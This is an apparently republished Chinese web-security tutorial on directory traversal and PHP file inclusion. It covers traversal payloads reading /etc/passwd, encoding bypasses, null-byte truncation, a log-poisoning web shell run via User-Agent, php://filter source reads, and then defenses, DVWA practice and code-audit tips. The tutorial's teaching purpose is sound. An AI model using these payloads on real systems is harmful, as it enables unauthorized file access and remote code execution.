網安系列【11】之目錄穿越與文件包含漏洞詳解

文章目錄

  • 前言
  • 一 目錄穿越漏洞
    • 1.1 什么是目錄穿越?
    • 1.2 目錄穿越的原理
    • 1.3 目錄穿越的常見形式
      • 1.3.1 基本形式
      • 1.3.2 編碼繞過
      • 1.3.3 絕對路徑攻擊
    • 1.4 實戰案例解析
      • 1.4.1 案例1:簡單的目錄穿越
      • 1.4.2 案例2:編碼繞過
    • 1.5 目錄穿越的危害
  • 二、文件包含漏洞詳解
    • 2.1 什么是文件包含?
    • 2.2 文件包含的原理
    • 2.3 文件包含的利用技巧
      • 2.3.1 LFI進階利用
      • 2.3.2 RFI利用條件
    • 2.4 實戰案例解析
      • 2.4.1 案例1:基本的LFI
      • 2.4.2 案例2:日志文件包含
      • 2.4.3 案例3:PHP偽協議利用
    • 2.5 文件包含的危害
  • 三、漏洞防御方案
    • 3.1 目錄穿越防御措施
    • 3.2 文件包含防御措施
  • 四、實戰演練環境搭建
    • 4.1 DVWA環境配置
    • 4.2 目錄穿越練習
  • 五、漏洞挖掘與審計
    • 5.1 如何發現目錄穿越漏洞
    • 5.2 如何發現文件包含漏洞
    • 5.3 代碼審計要點

前言

  • 在Web安全領域,目錄穿越(Directory Traversal)和文件包含(File Inclusion)是兩種常見且危險的漏洞類型。本文將系統性地介紹這兩種漏洞的原理、危害、利用方式及防御措施。

一 目錄穿越漏洞

1.1 什么是目錄穿越?

  • 目錄穿越(Directory Traversal),又稱路徑遍歷(Path Traversal),是一種允許攻擊者訪問Web服務器文件系統中本不應公開的文件的漏洞。攻擊者通過操縱文件路徑參數,使用"…/"等特殊符號跳出預期的目錄限制。

  • 類比理解:想象你在一棟大樓里,每個房間都有嚴格的門禁。目錄穿越就像找到了大樓設計上的漏洞,通過特定的路徑組合,可以進入任何房間,甚至是管理員辦公室。

1.2 目錄穿越的原理

  • Web應用程序通常會使用動態文件路徑來訪問服務器上的資源。例如:
http://example.com/loadFile?filename=report.pdf
  • 如果應用程序沒有正確驗證filename參數,攻擊者可以構造惡意路徑:
http://example.com/loadFile?filename=../../etc/passwd

1.3 目錄穿越的常見形式

1.3.1 基本形式

  • Unix/Linux系統:使用../返回上級目錄
  • Windows系統:使用..\../返回上級目錄

1.3.2 編碼繞過

  • URL編碼:%2e%2e%2f = ../
  • 雙重編碼:%252e%252e%252f = ../
  • Unicode編碼:..%c0%af = ../ (某些系統)

1.3.3 絕對路徑攻擊

  • 直接指定絕對路徑:
filename=/etc/passwd

1.4 實戰案例解析

1.4.1 案例1:簡單的目錄穿越

  • 假設有一個圖片查看服務:
http://example.com/viewImage?file=userUploads/avatar123.jpg
  • 攻擊者嘗試:
http://example.com/viewImage?file=../../../../etc/passwd
  • 如果服務未做防護,可能返回系統的passwd文件內容。

1.4.2 案例2:編碼繞過

  • 某網站過濾了../但未考慮編碼:
  • 正常請求:
http://example.com/download?file=document.pdf
  • 攻擊請求:
http://example.com/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd

1.5 目錄穿越的危害

  1. 敏感信息泄露:讀取密碼文件、配置文件等
  2. 系統文件篡改:修改關鍵系統文件
  3. 源代碼泄露:獲取應用程序源代碼
  4. 輔助其他攻擊:為后續攻擊提供信息

二、文件包含漏洞詳解

2.1 什么是文件包含?

  • 文件包含(File Inclusion)漏洞發生在應用程序動態包含文件時,未正確驗證用戶控制的文件路徑參數,導致可以包含惡意文件。

文件包含分為兩種:

  • 本地文件包含(LFI, Local File Inclusion):包含服務器本地的文件
  • 遠程文件包含(RFI, Remote File Inclusion):包含遠程服務器上的文件

2.2 文件包含的原理

  • 許多編程語言支持動態文件包含功能,例如PHP的include()require()函數。當用戶輸入直接作為包含參數時,就可能產生漏洞。PHP示例:
<?php
$page = $_GET['page'];
include($page . '.php');
?>
  • 正常訪問:
http://example.com/index.php?page=home
  • 惡意訪問:
http://example.com/index.php?page=/etc/passwd%00

(使用null字節%00截斷.php后綴)

2.3 文件包含的利用技巧

2.3.1 LFI進階利用

  1. 日志文件注入:通過包含access.log或error.log,結合UA或Referer注入PHP代碼
  2. PHP偽協議
    • php://filter:讀取文件源碼
    • php://input:執行POST數據中的代碼
  3. Session文件包含:通過包含session文件執行代碼

2.3.2 RFI利用條件

  1. allow_url_fopenallow_url_include設置為On
  2. 目標文件后綴會被解析為PHP(如.jpg的PHP后門)

2.4 實戰案例解析

2.4.1 案例1:基本的LFI

  • 某PHP網站:
http://example.com/index.php?module=contact
  • 后端代碼:
include($_GET['module'] . '.php');

攻擊:

http://example.com/index.php?module=../../../../etc/passwd%00

2.4.2 案例2:日志文件包含

  1. 確定服務器使用Apache,日志位于/var/log/apache2/access.log
  2. 在User-Agent中插入PHP代碼:
    User-Agent: <?php system($_GET['cmd']); ?>
    
  3. 包含日志文件:
    http://example.com/index.php?page=/var/log/apache2/access.log
    
  4. 執行命令:
    http://example.com/index.php?page=/var/log/apache2/access.log&cmd=id
    

2.4.3 案例3:PHP偽協議利用

  • 讀取PHP文件源碼:
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index
  • 返回base64編碼的源碼,解碼后可得原始代碼。

2.5 文件包含的危害

  1. 任意代碼執行:最嚴重的后果
  2. 敏感信息泄露:同目錄穿越
  3. 網站篡改:植入后門或惡意內容
  4. 服務器淪陷:作為跳板攻擊內網

三、漏洞防御方案

在這里插入圖片描述

3.1 目錄穿越防御措施

  1. 輸入驗證

    • 白名單驗證:只允許預期的文件名
    • 黑名單過濾:過濾../..\
    • 正則表達式:/^[a-zA-Z0-9]+\.pdf$/
  2. 路徑規范化

    • 解析路徑中的...
    • 使用語言內置函數如PHP的realpath()
  3. 文件系統限制

    • 使用chroot jail
    • 設置適當的文件權限
  4. 示例代碼(PHP)

$base_dir = '/var/www/uploads/';
$user_file = $_GET['file'];
$real_path = realpath($base_dir . $user_file);if (strpos($real_path, $base_dir) !== 0) {die('非法路徑訪問!');
}

3.2 文件包含防御措施

  1. 避免動態包含

    • 使用靜態包含
    • 使用switch-case結構替代
  2. 白名單驗證

$allowed = ['home', 'contact', 'about'];
$page = $_GET['page'];if (!in_array($page, $allowed)) {die('非法頁面請求!');
}
include($page . '.php');
  1. 設置PHP配置

    • allow_url_include = Off
    • allow_url_fopen = Off
  2. 文件路徑限制

    • 設置包含目錄
    • 禁止包含用戶上傳目錄
  3. 使用安全函數

    • basename():只返回文件名部分
    • realpath() + 前綴檢查

四、實戰演練環境搭建

4.1 DVWA環境配置

  1. 下載Damn Vulnerable Web Application(DVWA)
  2. 配置PHP環境(建議5.4+)
  3. 設置DVWA安全級別為"low"進行練習

4.2 目錄穿越練習

  1. 在DVWA中選擇"File Inclusion"
  2. 嘗試讀取服務器上的/var/www/html/vulnerabilities/fi/help/help.php文件
  3. 嘗試使用不同編碼方式繞過

五、漏洞挖掘與審計

5.1 如何發現目錄穿越漏洞

  1. 參數分析
    • 查找文件路徑參數(file, path, page等)
    • 測試參數是否接受路徑遍歷序列
  2. 測試方法
    • 基礎測試:嘗試../../etc/passwd
    • 編碼測試:嘗試URL編碼、雙重編碼
    • 邊界測試:嘗試不同數量的../

5.2 如何發現文件包含漏洞

  1. 參數分析

    • 查找包含功能的參數(include, page, module等)
    • 測試參數是否可以包含遠程文件
  2. 測試方法

    • 基礎LFI測試
    • RFI測試(需配置允許)
    • 特殊協議測試(php://, data://等)

5.3 代碼審計要點

  1. 危險函數識別

    • PHP:include, require, include_once, require_once, fopen
    • Java:FileInputStream, RandomAccessFile
    • .NET:File.Open, File.ReadAllText
  2. 輸入追蹤

    • 跟蹤用戶輸入如何傳遞到文件操作函數
    • 檢查是否有足夠的驗證和過濾

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/913474.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/913474.shtml
英文地址,請注明出處:http://en.pswp.cn/news/913474.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

uri-url-HttpServletRequest

1. 使用HttpServletRequest UrlPathHelper 解析 出 url路徑 org.springframework.web.util.UrlPathHelper 是 Spring 框架中用于處理 HTTP 請求路徑的一個工具類&#xff0c;它幫助解析和處理與請求路徑相關的細節。特別是 getLookupPathForRequest(HttpServletRequest request…

Ubuntu22.04安裝p4顯卡 nvidia-utils-570-server 570.133.20驅動CUDA Version: 12.8

Ubuntu22.04安裝p4顯卡 nvidia-utils-570-server 570.133.20驅動CUDA Version: 12.8專業顯卡就是專業顯卡&#xff0c;盡管p4已經掉到了白菜價&#xff0c;官方的支持卻一直都保持&#xff0c;比如它可以裝上cuda12.8,這真的出乎我意料。NVIDIA Tesla P4顯卡的主要情況Pascal架…

工業日志AI大模型智能分析系統-前端實現

目錄 主要架構 前端項目結構 1. 核心實現代碼 1.1 API服務封裝 (src/api/log.ts) 1.2 TS類型定義 (src/types/api.ts) 1.3 Pinia狀態管理 (src/stores/logStore.ts) 1.4 日志分析頁面 (src/views/LogAnalysis.vue) 1.5 日志詳情組件 (src/components/LogDetail.vue) 2…

C++內存泄漏排查

引言 C內存泄漏問題的普遍性與危害內存泄漏排查大賽的背景與目標文章結構和主要內容概述 內存泄漏的基本概念 內存泄漏的定義與類型&#xff08;顯式、隱式、循環引用等&#xff09;C中常見的內存泄漏場景&#xff08;指針管理不當、資源未釋放等&#xff09;內存泄漏對程序性能…

20250706-4-Docker 快速入門(上)-常用容器管理命令_筆記

一、常用管理命令1. 選項&#xfeff;&#xfeff;1&#xff09;ls&#xfeff;功能&#xff1a;列出容器常用參數&#xff1a;-a&#xff1a;查看所有容器包含退出的-q&#xff1a;列出所有容器ID-l&#xff1a;列出最新創建的容器狀態使用技巧&#xff1a;容器很多時使用dock…

基于 Camunda BPM 的工作流引擎示例項目

項目介紹 這是一個基于 Camunda BPM 的工作流引擎示例項目&#xff0c;包含完整的后臺接口和前端頁面&#xff0c;實現了流程的設計、部署、執行等核心功能。 技術棧 后端 Spring Boot 2.7.9Camunda BPM 7.18.0MySQL 8.0JDK 1.8 前端 Vue 3Element PlusBpmn.jsVite 功能…

Day06_刷題niuke20250707

試卷01&#xff1a; 單選題 C 1. 在C中,一個程序無論由多少個源程序文件組成,其中有且僅有一個主函數main().說法是否正確&#xff1f; A 正確 B 錯誤 正確答案&#xff1a;A 官方解析&#xff1a; 在C程序設計中,一個完整的程序確實有且僅有一個main函數作為程序的入口點,這…

洛谷 P5788 【模板】單調棧

題目背景模板題&#xff0c;無背景。2019.12.12 更新數據&#xff0c;放寬時限&#xff0c;現在不再卡常了。題目描述給出項數為 n 的整數數列 a1…n?。定義函數 f(i) 代表數列中第 i 個元素之后第一個大于 ai? 的元素的下標&#xff0c;即 f(i)mini<j≤n,aj?>ai??{…

linux系統運行時_安全的_備份_還原_方法rsync

1.問題與需求 問題: 新部署的機器設備(主控RK3588), 沒有經過燒錄定制鏡像, 研發部署, 直接組裝發送到客戶現場需要通過frpc遠程部署: 安裝ros2 python包 docker鏡像 環境配置 自啟動配置 SN設備信息寫自動部署腳本, 實現一鍵部署升級無奈物聯網卡做了白名單限制, apt 和…

18套精美族譜Excel模板,助力家族文化傳承!

【資源分享】18套精美族譜Excel模板&#xff0c;助力家族文化傳承&#xff01; &#x1f3af; 本文分享一套完整的家族譜系資源&#xff0c;包含18個精心設計的Excel模板&#xff0c;從基礎模板到專業圖表&#xff0c;滿足各類家族的族譜制作需求。 一、為什么要制作族譜&…

MySQL Galera Cluster企業級部署

一、MySQL Galera Cluster簡介 主要特點 同步復制&#xff1a; 所有的寫操作&#xff08;包括插入、更新、刪除&#xff09;在集群中的所有節點上都是同步的。這意味著每個節點上的數據是完全一致的。 多主節點&#xff1a; 集群中的每個節點都是主節點。所有節點都可以處理讀…

HTTP 重定向

什么是 HTTP 重定向&#xff1f; HTTP 重定向&#xff08;HTTP Redirect&#xff09; 是服務器向客戶端&#xff08;通常是瀏覽器&#xff09;發出的指令&#xff0c;告訴客戶端某個請求的資源已被移到新的位置。重定向通常通過發送一個特殊的 HTTP 狀態碼&#xff08;例如 3x…

本地加載非在線jar包設置

項目中存在私有jar包&#xff0c;提示在線獲取不到&#xff0c;需要先獲取到完整的jar包在打進maven中再在項目中進行maven依賴引入 mvn install:install-file -DfileD:\tools\maven\apache-maven-3.5.2\local_repository2\org\ahjk\SixCloudCommon\1.0\SixCloudCommon-1.0-SN…

Codeforces Round 979 (Div. 2)

A c[1]-b[1]0&#xff0c;之后每個c[1]-b[1]最大都是maxa-mina&#xff0c;最大和最小放前兩個 B ans2^(a1)-2^s-1&#xff0c;1一個最小 C 我們可以把式子化為(....)||(....)||(....)括號里沒有||&#xff0c;如果括號全是1那么A贏&#xff0c;A盡量選擇把1選在一起 D …

UI前端大數據處理性能瓶頸突破:分布式計算框架的應用

hello寶子們...我們是艾斯視覺擅長ui設計、前端開發、數字孿生、大數據、三維建模、三維動畫10年經驗!希望我的分享能幫助到您!如需幫助可以評論關注私信我們一起探討!致敬感謝感恩!一、引言&#xff1a;前端大數據處理的性能困境與破局之路在數據爆炸增長的時代&#xff0c;UI…

病蟲害數據集

數據是泰迪杯主辦方提供的已經標記好的數據&#xff0c;4k畫質的圖片&#xff0c;總大小8個G 鏈接&#xff1a;https://pan.baidu.com/s/1fvmNHGrLvflEovjfCjDLOw?pwd6666 提取碼&#xff1a;6666 蟲害包括&#xff1a; 八點灰燈蛾 褐飛虱屬 白背飛虱 二化螟 蟋蟀 黃足…

JAVA基礎:關于JDK環境變量設置的若干相關細節及注意事項

一、JDK下載安裝 網址&#xff1a;https://www.oracle.com/java/technologies/downloads/ 以 win11 為例&#xff0c;根據網址下載安裝包后&#xff0c;點擊安裝&#xff0c;注意設置安裝路徑 二、基礎常識 1.Java三大使用平臺 Java SE(Java Standard Edition): 標準版&…

C++高頻知識點(四)

文章目錄 16. 虛基類要解決什么問題&#xff1f;17. C中如何進行類型轉換操作&#xff1f;列舉并解釋四種類型轉換方式。18. 什么是函數重載&#xff1f;如何進行函數重載&#xff1f;19. 解釋C中的友元函數和友元類&#xff0c;并解釋其使用場景。友元函數友元類 20. 請解釋C中…

【Servlet資源轉發介紹】

文章目錄 前言一、Servlet 資源轉發是什么&#xff1f;1. 為什么要資源轉發&#xff1f; 二、資源轉發 vs 重定向三、如何使用 RequestDispatcher 進行資源轉發1. 引入依賴2. 獲取 RequestDispatcher3. forward 示例4. include 示例JSP 中 include 指令或動作Servlet 中 includ…

牛客周賽 Round 99題解

Round 99 思路&#xff1a;我們之間去用字符串去統計即可&#xff0c;輸入一個字符串&#xff0c;看相鄰有沒有99即可 #include<bits/stdc.h> using namespace std; #define int long long string s; signed main() {cin>>s;int ns.size();for(int i1;i<n;i){i…